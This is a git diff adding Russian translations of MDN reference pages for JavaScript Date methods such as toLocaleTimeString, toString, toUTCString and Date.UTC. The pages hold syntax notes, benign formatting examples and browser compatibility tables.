diff --git a/files/ru/web/javascript/reference/global_objects/date/tolocaletimestring/index.html b/files/ru/web/javascript/reference/global_objects/date/tolocaletimestring/index.html
new file mode 100644
index 0000000000..733b0fb49c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/tolocaletimestring/index.html
@@ -0,0 +1,203 @@
+---
+title: Date.prototype.toLocaleTimeString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString
+tags:
+  - Date
+  - Internationalization
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toLocaleTimeString()</code></strong> возвращает строку с языко-зависимым представлением части со временем в этой дате. Новые аргументы <code>locales</code> и <code>options</code> позволяют приложениям определять язык, чьи соглашения по форматированию должны использоваться, а также менять поведение этого метода. В старых реализациях, игнорирующих аргументы <code>locales</code> и <code>options</code>, используемая локаль и форма возвращённой строки целиком зависит от реализации.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleTimeString([<var>locales</var>[, <var>options</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Проверьте раздел <a href="#Browser_compatibility">Совместимость с браузерами</a>, чтобы увидеть, какие браузеры поддерживают аргументы <code>locales</code> и <code>options</code>, и <a href="#Example:_Checking_for_support_for_locales_and_options_arguments">Пример: проверка поддержки аргументов <code>locales</code> и <code>options</code></a> для определения этой возможности.</p>
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}</div>
+<p>Значением по умолчанию для каждой компоненты даты-времени является {{jsxref("Global_Objects/undefined", "undefined")}}, однако, если все свойства <code>hour</code>, <code>minute</code> и <code>second</code> равны {{jsxref("Global_Objects/undefined", "undefined")}}, то их значения предполагаются равными <code>"numeric"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toLocaleTimeString" name="Example:_Using_toLocaleTimeString">Пример: использование метода <code>toLocaleTimeString()</code></h3>
+<p>При базовом использовании без указания локали возвращается строка, отформатированная в соответствии с локалью и опциями по умолчанию.</p>
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+// Вывод toLocaleTimeString() без аргументов зависит от реализации,
+// локали по умолчанию и часового пояса по умолчанию
+console.log(date.toLocaleTimeString());
+// → "7:00:00 PM", если код запущен с локалью en-US и часовым поясом America/Los_Angeles
+</pre>
+
+<h3 id="Example:_Checking_for_support_for_locales_and_options_arguments" name="Example:_Checking_for_support_for_locales_and_options_arguments">Пример: проверка поддержки аргументов <code>locales</code> и <code>options</code></h3>
+<p>Аргументы <code>locales</code> и <code>options</code> поддерживаются ещё не всеми браузерами. Для проверки того, поддерживает ли их уже реализация, можно затребовать несуществующую метку языка и проверить, будет ли выброшено исключение {{jsxref("Global_Objects/RangeError", "RangeError")}}:</p>
+<pre class="brush: js">function toLocaleTimeStringSupportsLocales() {
+  try {
+    new Date().toLocaleTimeString('i');
+  } catch (e) {
+    return e​.name === 'RangeError';
+  }
+  return false;
+}
+</pre>
+
+<h3 id="Example:_Using_locales" name="Example:_Using_locales">Пример: использование аргумента <code>locales</code></h3>
+<p>Этот пример показывает некоторые локализованные форматы времени. Для получения формата языка, используемого в пользовательском интерфейсе вашего приложения, убедитесь, что вы указали этот язык (и, возможно, несколько запасных языков) через аргумент <code>locales</code>:</p>
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// Форматирование ниже предполагает, что местный часовой пояс равен
+// America/Los_Angeles для локали США
+
+// В америкаском английском используется 12-часовой формат времени
+console.log(date.toLocaleTimeString('en-US'));
+// → "7:00:00 PM"
+
+// В британском английском используется 24-часовой формат времени
+console.log(date.toLocaleTimeString('en-GB'));
+// → "03:00:00"
+
+// В корейском используется 12-часовой формат времени
+console.log(date.toLocaleTimeString('ko-KR'));
+// → "오후 12:00:00"
+
+// В большинстве арабоговорящих стран используют настоящие арабские цифры
+console.log(date.toLocaleTimeString('ar-EG'));
+// → "<span dir="rtl">٧:٠٠:٠٠ م</span>"
+
+// Если запрашиваемый язык может не поддерживаться, например
+// балийский, откатываемся на запасной язык, в данном случае индонезийский
+console.log(date.toLocaleTimeString(['ban', 'id']));
+// → "11.00.00"
+</pre>
+
+<h3 id="Example:_Using_options" name="Example:_Using_options">Пример: использование аргумента <code>options</code></h3>
+<p>Результат, предоставляемый методом <code>toLocaleTimeString()</code>, может быть настроен с помощью аргумента <code>options</code>:</p>
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// Приложение может захотеть использовать UTC и показать это
+var options = { timeZone: 'UTC', timeZoneName: 'short' };
+console.log(date.toLocaleTimeString('en-US', options));
+// → "3:00:00 AM GMT"
+
+// Иногда даже в США нужен 24-х часовой формат времени
+console.log(date.toLocaleTimeString('en-US', { hour12: false }));
+// → "19:00:00"
+</pre>
+
+<h2 id="Performance" name="Performance">Производительность</h2>
+<p>При форматировании большого количества дат лучшим вариантом будет создание объекта {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}} и использование функции, предоставляемой его свойством {{jsxref("DateTimeFormat.prototype.format", "format")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.7', 'Date.prototype.toLocaleTimeString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleTimeString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.3.3', 'Date.prototype.toLocaleDateString')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Определяет аргументы <code>locales</code> и <code>options</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+   <tr>
+    <td>Аргументы <code>locales</code> и <code>options</code></td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+   <tr>
+    <td>Аргументы <code>locales</code> и <code>options</code></td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug(864843)}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/tosource/index.html b/files/ru/web/javascript/reference/global_objects/date/tosource/index.html
new file mode 100644
index 0000000000..34f9182296
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/tosource/index.html
@@ -0,0 +1,93 @@
+---
+title: Date.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toSource
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Non-standard
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toSource
+---
+<div>{{JSRef("Global_Objects", "Date")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toSource()</code></strong> возвращает строковое представление исходного кода объекта.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.toSource()
+Date.toSource()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>toSource()</code> возвращает следующие значения:</p>
+<ul>
+ <li>Для встроенного объекта {{jsxref("Global_Objects/Date", "Date")}} метод <code>toSource()</code> возвращает следующую строку, указывающую, что исходный код объекта недоступен:
+<pre class="brush: js">function Date() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Для экземпляров {{jsxref("Global_Objects/Date", "Date")}}, метод <code>toSource()</code> возвращает строку, представляющую их исходный код.</li>
+</ul>
+<p>Этот метод обычно вызывается внутренними механизмами движка JavaScript, а не явно в коде.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.3.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/tostring/index.html b/files/ru/web/javascript/reference/global_objects/date/tostring/index.html
new file mode 100644
index 0000000000..321a941ea9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/tostring/index.html
@@ -0,0 +1,118 @@
+---
+title: Date.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toString
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toString()</code></strong> возвращает строковое представление указанного объекта {{jsxref("Global_Objects/Date", "Date")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.toString()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Объект {{jsxref("Global_Objects/Date", "Date")}} переопределяет метод <code>toString()</code>, унаследованный из объекта {{jsxref("Global_Objects/Object", "Object")}}; он не наследует метод {{jsxref("Object.prototype.toString()")}}. Для объектов {{jsxref("Global_Objects/Date", "Date")}} метод <code>toString()</code> возвращает строковое представление объекта.</p>
+<p>Метод <code>toString()</code> всегда возвращает строковое представление даты на американском английском.</p>
+<p>JavaScript вызывает метод <code>toString()</code> автоматически, когда дата представляется как текст, или когда дата участвует в конкатенации строк.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toString" name="Example:_Using_toString">Пример: использование метода <code>toString()</code></h3>
+<p>В следующем примере переменной <code>myVar</code> присваевается значение, возвращённое методом <code>toString()</code> объекта {{jsxref("Global_Objects/Date", "Date")}}:</p>
+<pre class="brush: js">var x = new Date();
+myVar = x.toString(); // присваивает переменной myVar значение вроде:
+// Mon Sep 28 1998 14:36:22 GMT-0700 (Pacific Daylight Time)
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.2', 'Date.prototype.toLocaleTimeString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("Date.prototype.toDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/totimestring/index.html b/files/ru/web/javascript/reference/global_objects/date/totimestring/index.html
new file mode 100644
index 0000000000..f101bc29dc
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/totimestring/index.html
@@ -0,0 +1,77 @@
+---
+title: Date.prototype.toTimeString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toTimeString
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toTimeString
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>toTimeString()</code></strong> возвращает часть, содержащую только время объекта {{jsxref("Global_Objects/Date", "Date")}} в виде человеко-читаемой строки на американском английском.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toTimeString()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Экземпляры объекта {{jsxref("Global_Objects/Date", "Date")}} ссылаются на определённый момент времени. Вызов метода {{jsxref("Date.prototype.toString()", "toString()")}} вернёт дату, отформатированную в виде человеко-читаемой строки на американском английском. В <a href="/ru/docs/SpiderMonkey">SpiderMonkey</a> она состоит из части, содержищей дату (день, месяц и год) и следующей за ней части, содержащей время (часы, минуты, секунды и часовой пояс). Иногда желательно получить строку, содержащую только часть со временем; этого можно достигнуть использованием метода <code>toTimeString()</code>.</p>
+
+<p>Метод <code>toTimeString()</code> полезен тем, что совместимые движки, реализующие <a href="/ru/docs/ECMAScript">ECMA-262</a> могут давать разные строки с помощью метода {{jsxref("Date.prototype.toString()", "toString()")}} объекта {{jsxref("Global_Objects/Date", "Date")}}, поскольку формат строки зависит от реализации и простой подход с разрезанием строки на дату и время может не всегда сработать.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_A_basic_usage_of_toTimeString" name="Example:_A_basic_usage_of_toTimeString">Пример: базовое использование метода <code>toTimeString()</code></h3>
+
+<pre class="brush: js">var d = new Date(1993, 6, 28, 14, 39, 7);
+
+console.log(d.toString());     // напечатает Wed Jul 28 1993 14:39:07 GMT-0600 (PDT)
+console.log(d.toTimeString()); // напечатает 14:39:07 GMT-0600 (PDT)
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.4', 'Date.prototype.toTimeString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.totimestring', 'Date.prototype.toTimeString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toTimeString")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html
new file mode 100644
index 0000000000..60aecd9ece
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html
@@ -0,0 +1,114 @@
+---
+title: Date.prototype.toUTCString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toUTCString
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toUTCString()</code></strong> преобразует дату в строку, используя часовой пояс UTC.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.toUTCString()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Значение, возвращаемое методом <code>toUTCString()</code>, является человеко-читаемой строкой в часовом поясе <abbr title="Всемирное координированное время">UTC</abbr>. Формат возвращаемого значения зависит от платформы. Наиболее растпространённым значением является форматированная по RFC-1123 временная метка, которая является немного обновлённой версией временной метки RFC-822.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toUTCString" name="Example:_Using_toUTCString">Пример: использование метода <code>toUTCString()</code></h3>
+<pre class="brush: js">var today = new Date();
+var UTCstring = today.toUTCString();
+// Mon, 03 Jul 2006 21:44:38 GMT
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.42', 'Date.prototype.toUTCString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toISOString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/utc/index.html b/files/ru/web/javascript/reference/global_objects/date/utc/index.html
new file mode 100644
index 0000000000..e05d187b79
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/utc/index.html
@@ -0,0 +1,123 @@
+---
+title: Date.UTC()
+slug: Web/JavaScript/Reference/Global_Objects/Date/UTC
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<p>Метод <strong><code>Date.UTC()</code></strong> принимает те же самые параметры, что и самая длинная форма конструктора {{jsxref("Global_Objects/Date", "Date")}} и возвращает количество миллисекунд, прошедших с 1 января 1970 года 00:00:00 по UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-utc.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<p> <strong>Начиная с  ECMAScript 2017:</strong></p>
+
+<pre class="syntaxbox">Date.UTC(<var>year</var>[, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]]])</pre>
+
+<p><strong>ECMAScript 2016 и ранее: </strong>(<em>использование <code>month</code> обязательно</em>)</p>
+
+<pre class="syntaxbox"><code>Date.UTC(<var>year</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>year</code></dt>
+ <dd>Год, полностью.</dd>
+ <dt><code>month</code></dt>
+ <dd>Целое число между <code>0</code> и <code>11</code>, представляющее месяц. (начиная с ES2017 необязательный параметр)</dd>
+ <dt><code>day</code> {{optional_inline}}</dt>
+ <dd>Целое число между <code>1</code> и <code>31</code>, представляющее дни месяца.</dd>
+ <dt><code>hour</code> {{optional_inline}}</dt>
+ <dd>Целое число между <code>0</code> и <code>23</code>, представляющее часы.</dd>
+ <dt><code>minute</code> {{optional_inline}}</dt>
+ <dd>Целое число между <code>0</code> и <code>59</code>, представляющее минуты.</dd>
+ <dt><code>second</code> {{optional_inline}}</dt>
+ <dd>Целое число между <code>0</code> и <code>59</code>, представляющее секунды.</dd>
+ <dt><code>millisecond</code> {{optional_inline}}</dt>
+ <dd>Целое число между <code>0</code> и <code>999</code>, представляющее миллисекунды.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Число, представляющее собой количество миллисекунд, прошедших с 1-ого Января 1970 года 00:00:00 UTC.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>UTC()</code> принимает параметры даты, разделённые запятыми и возвращает количество миллисекунд, прошедших с 1 января 1970 года 00:00:00 по UTC и указанным вами временем.</p>
+
+<p>Для параметра <code>year</code> вы должны указать полный год; например, 1998. Если указан год между <code>0</code> и <code>99</code>, метод преобразует год в год в 20-м веке <code>(1900 + year)</code>; например, если вы указали <code>95</code>, будет использоваться <code>1995</code> год.</p>
+
+<p>Метод <code>UTC()</code> отличается от конструктора {{jsxref("Global_Objects/Date", "Date")}} двумя вещами.</p>
+
+<ul>
+ <li>Метод <code>Date.UTC()</code> использует всемирное время вместо местного времени.</li>
+ <li>Метод <code>Date.UTC()</code> возвращает значение времени как число вместо создания объекта {{jsxref("Global_Objects/Date", "Date")}}.</li>
+</ul>
+
+<p>Если определённый вами параметр выходит за пределы ожидаемого диапазона, метод <code>UTC()</code> обновит другие параметры чтобы привести это число в ожидаемый диапазон. Например, если вы используете в качестве месяца число 15, год будет увеличен на 1 <code>(year + 1)</code>, и в качестве месяца будет использоваться значение 3.</p>
+
+<p>Поскольку метод <code>UTC()</code> является статическим методом объекта {{jsxref("Global_Objects/Date", "Date")}}, вы всегда должны использовать его как <code>Date.UTC()</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_Date.UTC" name="Example:_Using_Date.UTC">Пример: использование <code>Date.UTC()</code></h3>
+
+<p>Следующее выражение создаёт объект {{jsxref("Global_Objects/Date", "Date")}}, используя всемирное время вместо местного:</p>
+
+<pre class="brush:js">var utcDate = new Date(Date.UTC(2018, 11, 1, 0, 0, 0));
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.utc', 'Date.UTC')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Date.UTC")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Заметка о совместимости</h2>
+
